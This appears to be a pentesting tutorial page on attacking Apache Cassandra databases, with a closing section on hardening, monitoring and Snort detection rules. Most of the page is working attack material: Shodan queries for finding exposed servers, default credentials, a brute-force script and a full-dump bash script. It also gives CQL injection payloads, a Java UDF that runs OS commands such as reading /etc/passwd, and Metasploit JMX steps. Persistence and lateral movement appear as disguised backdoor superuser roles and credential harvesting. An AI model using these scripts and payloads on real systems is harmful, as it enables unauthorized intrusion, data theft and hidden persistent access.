> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/cassandra-port-9042-9160.md).

# Cassandra - Port 9042, 9160

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Apache Cassandra?

**Apache Cassandra** is a distributed NoSQL database that provides:

* **Linear scalability** - Add nodes without downtime
* **High availability** - No single point of failure
* **Multi-datacenter replication** - Geographic distribution
* **Eventual consistency** - Tunable consistency levels
* **Column-family data model** - Wide-row storage
* **CQL (Cassandra Query Language)** - SQL-like syntax

#### Use Cases

**Real-World Deployments:**

* **Netflix** - Streaming platform backend
* **Apple** - iCloud infrastructure
* **Instagram** - User data and feeds
* **Uber** - Trip data storage
* **Discord** - Chat message storage
* **eBay** - Product catalog

**Common Applications:**

* Time-series data (IoT sensors, logs)
* Real-time analytics
* Product catalogs
* Social media platforms
* Gaming leaderboards
* Financial transactions

#### Architecture Overview

```
┌─────────────────────────────────────────────────────────────┐
│              Cassandra Cluster Architecture                 │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐               │
│  │  Node 1  │────│  Node 2  │────│  Node 3  │               │
│  │  (DC1)   │    │  (DC1)   │    │  (DC1)   │               │
│  └──────────┘    └──────────┘    └──────────┘               │
│       │               │                │                    │
│       └───────────────┴────────────────┘                    │
│              Ring Topology                                  │
│                                                             │
│  ┌──────────┐    ┌──────────┐                               │
│  │  Node 4  │────│  Node 5  │                               │
│  │  (DC2)   │    │  (DC2)   │                               │
│  └──────────┘    └──────────┘                               │
│         Multi-Datacenter                                    │
└─────────────────────────────────────────────────────────────┘
```

**Key Concepts:**

**Ring Topology:**

* Nodes arranged in circular ring
* No master node (peer-to-peer)
* Data distributed via consistent hashing

**Replication:**

* Data replicated across multiple nodes
* Configurable replication factor (RF)
* Different strategies (SimpleStrategy, NetworkTopologyStrategy)

**Consistency Levels:**

* ONE - One replica responds
* QUORUM - Majority of replicas
* ALL - All replicas respond
* LOCAL\_QUORUM - Majority in local DC

#### Data Model

```
Keyspace (Database)
├── Column Family (Table)
│   ├── Row (Partition Key)
│   │   ├── Column 1
│   │   ├── Column 2
│   │   └── Column N
│   └── Row (Partition Key)
│       └── Columns...
└── Column Family
    └── Rows...
```

**Terminology:**

* **Keyspace** - Similar to database/schema
* **Column Family** - Similar to table
* **Partition Key** - Determines data distribution
* **Clustering Key** - Determines sort order within partition
* **Column** - Name-value pair with timestamp

#### Default Ports

**Port 9042** - Native Protocol (CQL)

* Binary protocol
* Used by modern clients
* CQL queries
* Cassandra 1.2+

**Port 9160** - Thrift Protocol (Legacy)

* RPC protocol
* Deprecated but still found
* Older Cassandra versions
* Legacy applications

**Additional Ports:**

* **7000** - Inter-node communication (gossip)
* **7001** - SSL inter-node communication
* **7199** - JMX monitoring
* **8888** - OpsCenter (if installed)
* **9142** - Native protocol with SSL

```
PORT     STATE SERVICE
7000/tcp open  cassandra-internode
7199/tcp open  cassandra-jmx
9042/tcp open  cassandra-native
9160/tcp open  cassandra-thrift
```

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 9042,9160 -sV <target-ip>

# Detailed scan
nmap -p 9042,9160,7000,7199 -sV -sC <target-ip>

# Comprehensive Cassandra scan
nmap -p 7000,7001,7199,8888,9042,9142,9160 -sV -A <target-ip>

# Scan entire subnet
nmap -p 9042,9160 -sV <target-subnet>/24 -oA cassandra-scan

# Script scan
nmap -p 9042,9160 --script cassandra-info,cassandra-brute <target-ip>
```

**Sample Output:**

```
PORT     STATE SERVICE   VERSION
9042/tcp open  cassandra Apache Cassandra 3.11.10 (native protocol 4)
| cassandra-info:
|   Cluster Name: Test Cluster
|   Version: 3.11.10
|   Snitch: SimpleSnitch
|   Partitioner: Murmur3Partitioner
|_  Schema Version: 75ea3ea5-1234-5678-9abc-def012345678
9160/tcp open  cassandra Apache Cassandra (Thrift)
7000/tcp open  cassandra inter-node communication
7199/tcp open  cassandra-jmx
```

#### Service Fingerprinting

**Using Nmap Scripts**

```bash
# Cassandra info script
nmap -p 9042 --script cassandra-info <target-ip>

# Output includes:
# - Cluster name
# - Cassandra version
# - Snitch type
# - Partitioner
# - Schema version
```

**Banner Grabbing**

```bash
# Native protocol (9042)
echo "" | nc <target-ip> 9042 | xxd

# Thrift protocol (9160)
echo "" | nc <target-ip> 9160

# Check for version in response
```

**Version Detection via CQL**

```bash
# Using cqlsh
cqlsh <target-ip>
SELECT release_version FROM system.local;

# Output: 3.11.10
```

#### Shodan Queries

```
port:9042 cassandra
port:9160 cassandra
"Invalid or unsupported protocol version"
port:9160 Cluster
cassandra cluster
product:"Apache Cassandra"
```

### Authentication Testing

#### Check Authentication Requirements

**Test Unauthenticated Access**

```bash
# Install cqlsh
pip3 install cqlsh

# Try connecting without credentials
cqlsh <target-ip>

# If connects successfully, no authentication!
# This is CRITICAL vulnerability
```

**Common Scenarios:**

1. **No authentication configured** (default in many deployments)
2. **Default credentials** (cassandra/cassandra)
3. **Weak passwords**
4. **Authentication enabled but misconfigured**

#### Default Credentials

**Standard Default Credentials:**

```
Username: cassandra
Password: cassandra

Username: admin
Password: admin

Username: admin
Password: cassandra
```

**Testing Default Credentials:**

```bash
# CQL native protocol
cqlsh <target-ip> -u cassandra -p cassandra

# If successful:
# Connected to Test Cluster at target-ip:9042.
# [cqlsh 5.0.1 | Cassandra 3.11.10 | CQL spec 3.4.4]

# Check current user
cqlsh> SELECT * FROM system_auth.roles;
```

#### Brute Force Authentication

**Using Hydra**

```bash
# Brute force Cassandra authentication
hydra -L users.txt -P passwords.txt <target-ip> cassandra

# With specific port
hydra -L users.txt -P passwords.txt -s 9042 <target-ip> cassandra

# Single user
hydra -l cassandra -P /usr/share/wordlists/rockyou.txt <target-ip> cassandra
```

**Using Nmap**

```bash
# Nmap brute force script
nmap -p 9042 --script cassandra-brute \
  --script-args userdb=users.txt,passdb=passwords.txt \
  <target-ip>
```

**Custom Python Script**

```python
#!/usr/bin/env python3
"""
Cassandra Authentication Brute Force
"""
from cassandra.cluster import Cluster
from cassandra.auth import PlainTextAuthProvider
import sys

def brute_force(host, port, username, password_file):
    """Brute force Cassandra authentication"""
    
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            
            try:
                auth_provider = PlainTextAuthProvider(
                    username=username,
                    password=password
                )
                
                cluster = Cluster(
                    [host],
                    port=port,
                    auth_provider=auth_provider,
                    connect_timeout=5
                )
                
                session = cluster.connect()
                print(f"[+] SUCCESS: {username}:{password}")
                cluster.shutdown()
                return password
                
            except Exception as e:
                print(f"[-] Failed: {username}:{password}")
                continue
    
    print("[-] Password not found")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <host> <port> <username> <password_file>")
        sys.exit(1)
    
    brute_force(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])
```

## Exploitation & Enumeration

#### Connect to Cassandra

**Using cqlsh (Primary Tool)**

```bash
# No authentication
cqlsh <target-ip>

# With authentication
cqlsh <target-ip> -u cassandra -p cassandra

# Specify port
cqlsh <target-ip> 9042 -u cassandra -p cassandra

# Execute command directly
cqlsh <target-ip> -e "SELECT * FROM system.local;"

# Execute from file
cqlsh <target-ip> -f queries.cql
```

**Using Python Driver**

```python
from cassandra.cluster import Cluster
from cassandra.auth import PlainTextAuthProvider

# Without authentication
cluster = Cluster(['target-ip'])
session = cluster.connect()

# With authentication
auth_provider = PlainTextAuthProvider(username='cassandra', password='cassandra')
cluster = Cluster(['target-ip'], auth_provider=auth_provider)
session = cluster.connect()

# Execute query
rows = session.execute('SELECT * FROM system.local')
for row in rows:
    print(row)

cluster.shutdown()
```

#### Cluster Information Enumeration

**Basic Cluster Info**

```sql
-- Cluster metadata
SELECT cluster_name, thrift_version, data_center, partitioner, 
       native_protocol_version, rack, release_version 
FROM system.local;

-- Sample output:
-- cluster_name: Production Cluster
-- release_version: 3.11.10
-- data_center: DC1
-- rack: rack1
```

**Node Information**

```sql
-- All nodes in cluster
SELECT * FROM system.peers;

-- Shows:
-- - peer (IP address)
-- - data_center
-- - rack
-- - release_version
-- - rpc_address
-- - schema_version

-- Seed nodes configuration
-- (Check cassandra.yaml on filesystem if accessible)
```

**System Information**

```sql
-- Available keyspaces
SELECT keyspace_name FROM system_schema.keyspaces;

-- Common keyspaces:
-- - system (internal)
-- - system_auth (authentication/authorization)
-- - system_schema (schema metadata)
-- - system_distributed (distributed features)
-- - system_traces (tracing info)
-- - (application keyspaces)

-- Cassandra version
SELECT release_version FROM system.local;

-- Cluster name
SELECT cluster_name FROM system.local;
```

#### Keyspace Enumeration

**List All Keyspaces**

```sql
-- Method 1
SELECT keyspace_name FROM system_schema.keyspaces;

-- Method 2
DESCRIBE KEYSPACES;

-- Method 3 (older Cassandra)
SELECT * FROM system.schema_keyspaces;
```

**Describe Keyspace**

```sql
-- Describe specific keyspace
DESCRIBE KEYSPACE system_auth;

-- Output shows:
-- - Replication strategy
-- - Replication factor
-- - Tables
-- - User-defined types
-- - Functions

-- Example output:
-- CREATE KEYSPACE system_auth WITH replication = {
--   'class': 'SimpleStrategy',
--   'replication_factor': '1'
-- };
```

**Keyspace Details**

```sql
-- Get replication info
SELECT * FROM system_schema.keyspaces 
WHERE keyspace_name = 'system_auth';

-- Table count per keyspace
SELECT keyspace_name, COUNT(*) as table_count 
FROM system_schema.tables 
GROUP BY keyspace_name;
```

#### Table Enumeration

**List Tables**

```sql
-- All tables
SELECT keyspace_name, table_name 
FROM system_schema.tables;

-- Tables in specific keyspace
SELECT table_name FROM system_schema.tables 
WHERE keyspace_name = 'system_auth';

-- Or using DESCRIBE
DESCRIBE TABLES;
```

**Describe Table**

```sql
-- Full table schema
DESCRIBE TABLE system_auth.roles;

-- Shows:
-- - Columns and types
-- - Partition key
-- - Clustering key
-- - Table options

-- Column information
SELECT * FROM system_schema.columns 
WHERE keyspace_name = 'system_auth' 
  AND table_name = 'roles';
```

**Table Statistics**

```sql
-- Estimated row count (may be inaccurate)
SELECT * FROM system.size_estimates 
WHERE keyspace_name = 'application_keyspace';

-- Token ranges
SELECT * FROM system.local;
```

#### User & Role Enumeration

**List All Users/Roles**

```sql
-- All roles (users)
SELECT * FROM system_auth.roles;

-- Output shows:
-- - role (username)
-- - can_login (boolean)
-- - is_superuser (boolean)
-- - member_of (list of roles)
-- - salted_hash (password hash)

-- Example:
-- role      | can_login | is_superuser | salted_hash
-- ----------+-----------+--------------+-------------
-- cassandra | true      | true         | $2a$10$...
-- appuser   | true      | false        | $2a$10$...
```

**Check Current User**

```sql
-- Current authenticated user
SELECT role FROM system_auth.role_members 
WHERE role = 'cassandra';

-- Or check via session
-- (depends on client)
```

**Role Permissions**

```sql
-- All permissions
SELECT * FROM system_auth.role_permissions;

-- Shows:
-- - role
-- - resource (keyspace/table)
-- - permissions (SELECT, INSERT, UPDATE, DELETE, etc.)

-- User's specific permissions
SELECT * FROM system_auth.role_permissions 
WHERE role = 'appuser';
```

#### Data Exfiltration

**Dump Sensitive Tables**

```sql
-- User credentials (if application stores them)
SELECT * FROM users.credentials;
SELECT * FROM accounts.users;
SELECT * FROM authentication.user_auth;

-- Configuration data
SELECT * FROM configuration.settings;
SELECT * FROM configuration.config;

-- API keys / tokens
SELECT * FROM api.keys;
SELECT * FROM oauth.tokens;

-- Personal information
SELECT * FROM users.profiles;
SELECT * FROM customers.data;
```

**Extract Password Hashes**

```sql
-- Cassandra user hashes
SELECT role, salted_hash FROM system_auth.roles 
WHERE can_login = true;

-- Example hash format:
-- $2a$10$AbCdEfGhIjKlMnOpQrStUvWxYz1234567890ABCDEFGHIJK

-- These are bcrypt hashes
-- Crack with: hashcat -m 3200 hash.txt wordlist.txt
```

**Search for Sensitive Data**

```sql
-- Find tables with password columns
SELECT keyspace_name, table_name, column_name 
FROM system_schema.columns 
WHERE column_name LIKE '%password%' 
   OR column_name LIKE '%secret%'
   OR column_name LIKE '%token%'
   OR column_name LIKE '%key%';

-- Query those tables
-- (Construct queries based on results)
```

#### Export Data

**Using cqlsh COPY Command**

```sql
-- Export to CSV
COPY system_auth.roles TO 'roles.csv' WITH HEADER = true;

-- Export specific columns
COPY users.credentials (username, password_hash) 
TO 'credentials.csv' WITH HEADER = true;

-- Export with delimiter
COPY users.data TO 'users.txt' WITH DELIMITER = '|';
```

**Using DESCRIBE to Export Schema**

```bash
# Export entire schema
cqlsh <target-ip> -e "DESCRIBE FULL SCHEMA" > schema.cql

# Export specific keyspace
cqlsh <target-ip> -e "DESCRIBE KEYSPACE application" > app_schema.cql
```

**Automated Dump Script**

```bash
#!/bin/bash
# Cassandra Data Dump Script

HOST=$1
USER=${2:-cassandra}
PASS=${3:-cassandra}
OUTPUT_DIR="cassandra_dump"

mkdir -p $OUTPUT_DIR

echo "[*] Dumping Cassandra data from $HOST"

# Get keyspaces
KEYSPACES=$(cqlsh $HOST -u $USER -p $PASS -e "SELECT keyspace_name FROM system_schema.keyspaces;" | grep -v "^-" | grep -v "^(" | grep -v "^keyspace_name" | grep -v "^$")

for keyspace in $KEYSPACES; do
    echo "[*] Processing keyspace: $keyspace"
    
    # Skip system keyspaces (optional)
    if [[ $keyspace == system* ]]; then
        echo "    [!] Skipping system keyspace"
        continue
    fi
    
    # Get tables in keyspace
    TABLES=$(cqlsh $HOST -u $USER -p $PASS -e "SELECT table_name FROM system_schema.tables WHERE keyspace_name = '$keyspace';" | grep -v "^-" | grep -v "^(" | grep -v "^table_name" | grep -v "^$")
    
    for table in $TABLES; do
        echo "    [*] Dumping table: $keyspace.$table"
        
        # Export to CSV
        cqlsh $HOST -u $USER -p $PASS -e "COPY $keyspace.$table TO '$OUTPUT_DIR/${keyspace}_${table}.csv' WITH HEADER = true;" 2>/dev/null
        
        if [ $? -eq 0 ]; then
            echo "        [+] Exported to ${keyspace}_${table}.csv"
        else
            echo "        [-] Failed to export ${keyspace}_${table}"
        fi
    done
done

echo "[+] Dump complete! Check $OUTPUT_DIR/"
```

## Advanced Exploitation

#### CQL Injection

**Vulnerable Code Example:**

```python
# VULNERABLE
query = f"SELECT * FROM users WHERE username = '{user_input}'"
session.execute(query)

# User input: admin' OR 1=1 --
# Results in: SELECT * FROM users WHERE username = 'admin' OR 1=1 --'
```

**Exploitation:**

```sql
-- Authentication bypass (if vulnerable)
username: admin' OR 1=1 --
password: anything

-- Extract data
username: ' UNION SELECT * FROM other_table --

-- Note: CQL UNION is limited compared to SQL
-- But creative WHERE clause manipulation is possible
```

**Time-Based Blind Injection:**

```sql
-- Not directly supported in CQL
-- But application-level timing attacks possible
```

**Prevention:**

```python
# SECURE - Use prepared statements
query = "SELECT * FROM users WHERE username = ?"
prepared = session.prepare(query)
session.execute(prepared, (user_input,))
```

#### User Defined Functions (UDF) Exploitation

**Concept:** Cassandra supports UDFs in Java/JavaScript

**Create Malicious UDF (Requires CREATE permission):**

```sql
-- Java-based UDF for command execution
CREATE OR REPLACE FUNCTION exploit.exec_command(cmd text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS $$
    try {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        java.io.BufferedReader reader = new java.io.BufferedReader(
            new java.io.InputStreamReader(proc.getInputStream())
        );
        String line;
        StringBuilder output = new StringBuilder();
        while ((line = reader.readLine()) != null) {
            output.append(line).append("\n");
        }
        return output.toString();
    } catch (Exception e) {
        return e.toString();
    }
$$;

-- Execute command
SELECT exploit.exec_command('whoami') FROM system.local;
SELECT exploit.exec_command('cat /etc/passwd') FROM system.local;
```

**JavaScript UDF:**

```sql
-- Simpler but more limited
CREATE OR REPLACE FUNCTION exploit.simple_exec(input text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE javascript
AS $$
    input
$$;
```

**Limitations:**

* Requires CREATE FUNCTION permission
* UDFs often disabled (enable\_user\_defined\_functions: false)
* Sandboxed by default
* May require superuser privileges

#### JMX Exploitation (Port 7199)

**If JMX Exposed (Common Misconfiguration):**

```bash
# Connect to JMX
jconsole <target-ip>:7199

# Or using jmxterm
java -jar jmxterm.jar -l <target-ip>:7199

# List MBeans
beans

# Get node info
get -b org.apache.cassandra.db:type=StorageService Version

# Execute operations
run -b org.apache.cassandra.db:type=StorageService operationName
```

**JMX RCE (If Unauthenticated):**

```bash
# Using Metasploit
msfconsole
use exploit/multi/misc/java_jmx_server
set RHOSTS <target-ip>
set RPORT 7199
exploit
```

### Post-Exploitation

#### Privilege Escalation

**Create Superuser Account**

```sql
-- If you have CREATE USER permission
CREATE ROLE backdoor WITH PASSWORD = 'SecretPass123!' 
AND SUPERUSER = true 
AND LOGIN = true;

-- Verify
SELECT * FROM system_auth.roles WHERE role = 'backdoor';

-- Grant all permissions
GRANT ALL ON ALL KEYSPACES TO backdoor;
```

**Modify Existing User**

```sql
-- Elevate privileges (if SUPERUSER)
ALTER ROLE appuser WITH SUPERUSER = true;

-- Change password
ALTER ROLE cassandra WITH PASSWORD = 'newpassword';
```

**Create Role for Persistence**

```sql
-- Create hidden role
CREATE ROLE ".system" WITH PASSWORD = 'hidden' 
AND SUPERUSER = true 
AND LOGIN = true;
```

#### Persistence Mechanisms

**Backdoor User:**

```sql
-- Create service account (less obvious)
CREATE ROLE monitoring_service WITH PASSWORD = 'LongRandomPassword123!' 
AND SUPERUSER = true 
AND LOGIN = true;

-- Or use common application name
CREATE ROLE metrics_collector WITH PASSWORD = 'backdoor' 
AND SUPERUSER = true 
AND LOGIN = true;
```

**UDF Backdoor:**

```sql
-- Create backdoor UDF
CREATE FUNCTION IF NOT EXISTS system.backdoor(key text)
RETURNS text
LANGUAGE java
AS $$
    // Backdoor logic
    return "OK";
$$;

-- Call periodically to maintain access
```

**Data Modification for Persistence:**

```sql
-- Insert trigger data (application-specific)
INSERT INTO jobs.scheduled (id, command, schedule)
VALUES (uuid(), '/tmp/backdoor.sh', '*/5 * * * *');
```

#### Lateral Movement

**Extract Connection Information:**

```sql
-- Look for connection strings in configuration tables
SELECT * FROM config.database_connections;
SELECT * FROM settings.external_services;

-- API endpoints and credentials
SELECT * FROM api.endpoints;
SELECT * FROM integration.credentials;
```

**Harvest Credentials:**

```sql
-- User passwords (application-stored)
SELECT username, password_hash FROM users.authentication;

-- API keys
SELECT service, api_key FROM services.credentials;

-- OAuth tokens
SELECT user_id, access_token FROM oauth.tokens;

-- Try these credentials on:
-- - Other databases
-- - SSH servers
-- - Web applications
-- - Cloud services
```

**Network Topology Discovery:**

```sql
-- Cassandra cluster nodes
SELECT peer, data_center, rack FROM system.peers;

-- Use this to map internal network
-- Pivot to other nodes if accessible
```

## Defense & Hardening

#### Enable Authentication

**cassandra.yaml Configuration:**

```yaml
# Enable authentication
authenticator: PasswordAuthenticator

# Enable authorization
authorizer: CassandraAuthorizer

# Restart required after changes
```

**Set Strong Passwords:**

```sql
-- Connect as default cassandra user
-- Change default password
ALTER ROLE cassandra WITH PASSWORD = 'VeryStrongPassword123!@#$%';

-- Create application users
CREATE ROLE appuser WITH PASSWORD = 'AppUserPass123!' 
AND LOGIN = true;

-- Grant minimal permissions
GRANT SELECT, MODIFY ON KEYSPACE application TO appuser;

-- Disable or delete default user (after creating alternatives)
ALTER ROLE cassandra WITH LOGIN = false;
```

**Role-Based Access Control:**

```sql
-- Create read-only role
CREATE ROLE readonly WITH PASSWORD = 'ReadPass123!' 
AND LOGIN = true;
GRANT SELECT ON ALL KEYSPACES TO readonly;

-- Create write role for specific keyspace
CREATE ROLE writer WITH PASSWORD = 'WritePass123!' 
AND LOGIN = true;
GRANT SELECT, MODIFY ON KEYSPACE application TO writer;

-- Create admin role (not superuser)
CREATE ROLE admin WITH PASSWORD = 'AdminPass123!' 
AND LOGIN = true;
GRANT ALL ON KEYSPACE application TO admin;
```

#### Network Security

**Bind to Specific Interface:**

```yaml
# cassandra.yaml
# Don't bind to all interfaces
# listen_address: 0.0.0.0  # DANGEROUS

# Bind to specific IP
listen_address: 192.168.1.100

# RPC address (client connections)
rpc_address: 192.168.1.100

# Or use broadcast addresses for multi-DC
broadcast_address: 192.168.1.100
broadcast_rpc_address: 192.168.1.100
```

**Firewall Rules:**

```bash
# UFW
sudo ufw deny 9042/tcp
sudo ufw deny 9160/tcp
sudo ufw deny 7199/tcp

# Allow from application servers only
sudo ufw allow from 192.168.1.0/24 to any port 9042
sudo ufw allow from 192.168.1.0/24 to any port 9160

# iptables
sudo iptables -A INPUT -p tcp --dport 9042 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9160 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9042 -j DROP
sudo iptables -A INPUT -p tcp --dport 9160 -j DROP
sudo iptables -A INPUT -p tcp --dport 7199 -j DROP

# Inter-node communication (only within cluster)
sudo iptables -A INPUT -p tcp --dport 7000 -s 192.168.1.100 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 7000 -s 192.168.1.101 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 7000 -j DROP
```

**Enable SSL/TLS:**

```yaml
# cassandra.yaml

# Client-to-node encryption
client_encryption_options:
  enabled: true
  optional: false
  keystore: /path/to/keystore
  keystore_password: keystore_password
  require_client_auth: true
  truststore: /path/to/truststore
  truststore_password: truststore_password

# Node-to-node encryption
server_encryption_options:
  internode_encryption: all
  keystore: /path/to/keystore
  keystore_password: keystore_password
  truststore: /path/to/truststore
  truststore_password: truststore_password
```

#### Disable Dangerous Features

**Disable UDFs:**

```yaml
# cassandra.yaml
enable_user_defined_functions: false
enable_scripted_user_defined_functions: false
enable_user_defined_functions_threads: false
```

**Secure JMX:**

```yaml
# cassandra-env.sh

# Enable JMX authentication
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.authenticate=true"
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.password.file=/path/to/jmxremote.password"
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.access.file=/path/to/jmxremote.access"

# Enable SSL for JMX
JVM_OPTS="$JVM_OPTS -Dcom.sun.management.jmxremote.ssl=true"

# Bind JMX to localhost only
JVM_OPTS="$JVM_OPTS -Djava.rmi.server.hostname=127.0.0.1"
```

**Disable Thrift (If Not Needed):**

```yaml
# cassandra.yaml
start_rpc: false
```

#### Monitoring & Detection

**Enable Audit Logging:**

```yaml
# cassandra.yaml (Cassandra 4.0+)
audit_logging_options:
  enabled: true
  logger: BinAuditLogger
  audit_logs_dir: /var/log/cassandra/audit
  included_keyspaces: application
  excluded_categories: DCL
```

**Monitor Logs:**

```bash
# System log
tail -f /var/log/cassandra/system.log

# Look for suspicious activity
grep -i "authentication" /var/log/cassandra/system.log
grep -i "permission denied" /var/log/cassandra/system.log
grep -i "CREATE ROLE" /var/log/cassandra/system.log
grep -i "ALTER ROLE" /var/log/cassandra/system.log

# Failed login attempts
grep "Failed login" /var/log/cassandra/system.log

# Unusual queries
grep "SELECT.*FROM.*system_auth" /var/log/cassandra/system.log
```

**Intrusion Detection:**

```bash
# Snort rules for Cassandra
alert tcp any any -> any 9042 (msg:"Cassandra authentication attempt"; flow:to_server; content:"system_auth"; sid:1000001;)

alert tcp any any -> any 9042 (msg:"Cassandra CREATE ROLE attempt"; flow:to_server; content:"CREATE ROLE"; nocase; sid:1000002;)

alert tcp any any -> any 9042 (msg:"Cassandra UDF creation"; flow:to_server; content:"CREATE FUNCTION"; nocase; sid:1000003;)

alert tcp any any -> any 7199 (msg:"JMX connection attempt"; flow:to_server; sid:1000004;)
```

**Connection Monitoring:**

```bash
# Monitor active connections
nodetool -h localhost -p 7199 netstats

# Check connected clients
netstat -tn | grep :9042

# Watch for unusual connections
watch -n 5 'netstat -tn | grep :9042 | wc -l'
```

#### Regular Security Practices

```bash
# Update Cassandra regularly
# Check: https://cassandra.apache.org/

# Current version
nodetool version

# Review users regularly
cqlsh -e "SELECT * FROM system_auth.roles;"

# Review permissions
cqlsh -e "SELECT * FROM system_auth.role_permissions;"

# Check for UDFs
cqlsh -e "SELECT * FROM system_schema.functions;"

# Backup authentication data
nodetool snapshot system_auth

# Test backups regularly
# Restore procedure

# Security audit script
#!/bin/bash
echo "[*] Cassandra Security Audit"

# Check if authentication enabled
grep "authenticator:" /etc/cassandra/cassandra.yaml

# Check default user
cqlsh -u cassandra -p cassandra -e "SELECT * FROM system.local;" 2>&1 | grep -q "Connected"
if [ $? -eq 0 ]; then
    echo "[!] WARNING: Default credentials work!"
fi

# Check UDF status
grep "enable_user_defined_functions:" /etc/cassandra/cassandra.yaml

# Check JMX authentication
grep "jmxremote.authenticate" /etc/cassandra/cassandra-env.sh

# Check SSL status
grep "client_encryption_options" /etc/cassandra/cassandra.yaml -A 5

echo "[*] Audit complete!"
```

### Tools & Scripts

#### Essential Tools

1. **cqlsh** - Official CQL shell
2. **nodetool** - Cluster management utility
3. **cassandra-driver** - Python driver
4. **DataStax DevCenter** - GUI client (deprecated)
5. **DBeaver** - Universal database tool (supports Cassandra)

#### Python Enumeration Script

```python
#!/usr/bin/env python3
"""
Cassandra Enumeration Tool
"""
from cassandra.cluster import Cluster
from cassandra.auth import PlainTextAuthProvider
import sys

class CassandraEnum:
    def __init__(self, host, port=9042, username=None, password=None):
        self.host = host
        self.port = port
        
        if username and password:
            auth_provider = PlainTextAuthProvider(
                username=username,
                password=password
            )
            self.cluster = Cluster([host], port=port, auth_provider=auth_provider)
        else:
            self.cluster = Cluster([host], port=port)
        
        try:
            self.session = self.cluster.connect()
            print(f"[+] Connected to {host}:{port}")
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            sys.exit(1)
    
    def get_cluster_info(self):
        """Get cluster information"""
        print("\n[*] Cluster Information:")
        
        query = """
        SELECT cluster_name, release_version, data_center, rack
        FROM system.local
        """
        
        rows = self.session.execute(query)
        for row in rows:
            print(f"    Cluster: {row.cluster_name}")
            print(f"    Version: {row.release_version}")
            print(f"    DC: {row.data_center}")
            print(f"    Rack: {row.rack}")
    
    def list_keyspaces(self):
        """List all keyspaces"""
        print("\n[*] Keyspaces:")
        
        query = "SELECT keyspace_name FROM system_schema.keyspaces"
        rows = self.session.execute(query)
        
        for row in rows:
            print(f"    - {row.keyspace_name}")
    
    def list_tables(self, keyspace=None):
        """List tables"""
        print(f"\n[*] Tables:")
        
        if keyspace:
            query = f"SELECT table_name FROM system_schema.tables WHERE keyspace_name = '{keyspace}'"
        else:
            query = "SELECT keyspace_name, table_name FROM system_schema.tables"
        
        rows = self.session.execute(query)
        for row in rows:
            if keyspace:
                print(f"    - {row.table_name}")
            else:
                print(f"    - {row.keyspace_name}.{row.table_name}")
    
    def list_users(self):
        """List users/roles"""
        print("\n[*] Users/Roles:")
        
        try:
            query = "SELECT role, can_login, is_superuser FROM system_auth.roles"
            rows = self.session.execute(query)
            
            for row in rows:
                superuser = "SUPERUSER" if row.is_superuser else ""
                login = "LOGIN" if row.can_login else "NO LOGIN"
                print(f"    - {row.role} ({login} {superuser})")
        except Exception as e:
            print(f"    [-] Cannot access system_auth: {e}")
    
    def close(self):
        """Close connection"""
        self.cluster.shutdown()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port] [username] [password]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 9042
    username = sys.argv[3] if len(sys.argv) > 3 else None
    password = sys.argv[4] if len(sys.argv) > 4 else None
    
    enum = CassandraEnum(host, port, username, password)
    enum.get_cluster_info()
    enum.list_keyspaces()
    enum.list_tables()
    enum.list_users()
    enum.close()
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 9042,9160 -sV <target>
nmap -p 9042 --script cassandra-info <target>

# CONNECT
cqlsh <target>
cqlsh <target> -u cassandra -p cassandra

# ENUMERATE
SELECT * FROM system.local;
SELECT keyspace_name FROM system_schema.keyspaces;
DESCRIBE KEYSPACES;
SELECT * FROM system_auth.roles;

# EXTRACT DATA
COPY system_auth.roles TO 'roles.csv' WITH HEADER = true;
SELECT role, salted_hash FROM system_auth.roles WHERE can_login = true;

# PRIVILEGE ESCALATION
CREATE ROLE backdoor WITH PASSWORD = 'pass' AND SUPERUSER = true AND LOGIN = true;
ALTER ROLE user WITH SUPERUSER = true;

# BRUTE FORCE
hydra -l cassandra -P passwords.txt <target> cassandra
nmap -p 9042 --script cassandra-brute <target>
```

#### Important Files

```
/etc/cassandra/cassandra.yaml       # Main configuration
/etc/cassandra/cassandra-env.sh     # JVM settings
/var/log/cassandra/system.log       # System log
/var/lib/cassandra/data/            # Data files
/etc/cassandra/jmxremote.password   # JMX credentials
```

#### Default Credentials

```
cassandra:cassandra
admin:admin
```

#### Key System Tables

```
system.local                 # Cluster info
system.peers                 # Node info
system_auth.roles            # Users
system_auth.role_permissions # Permissions
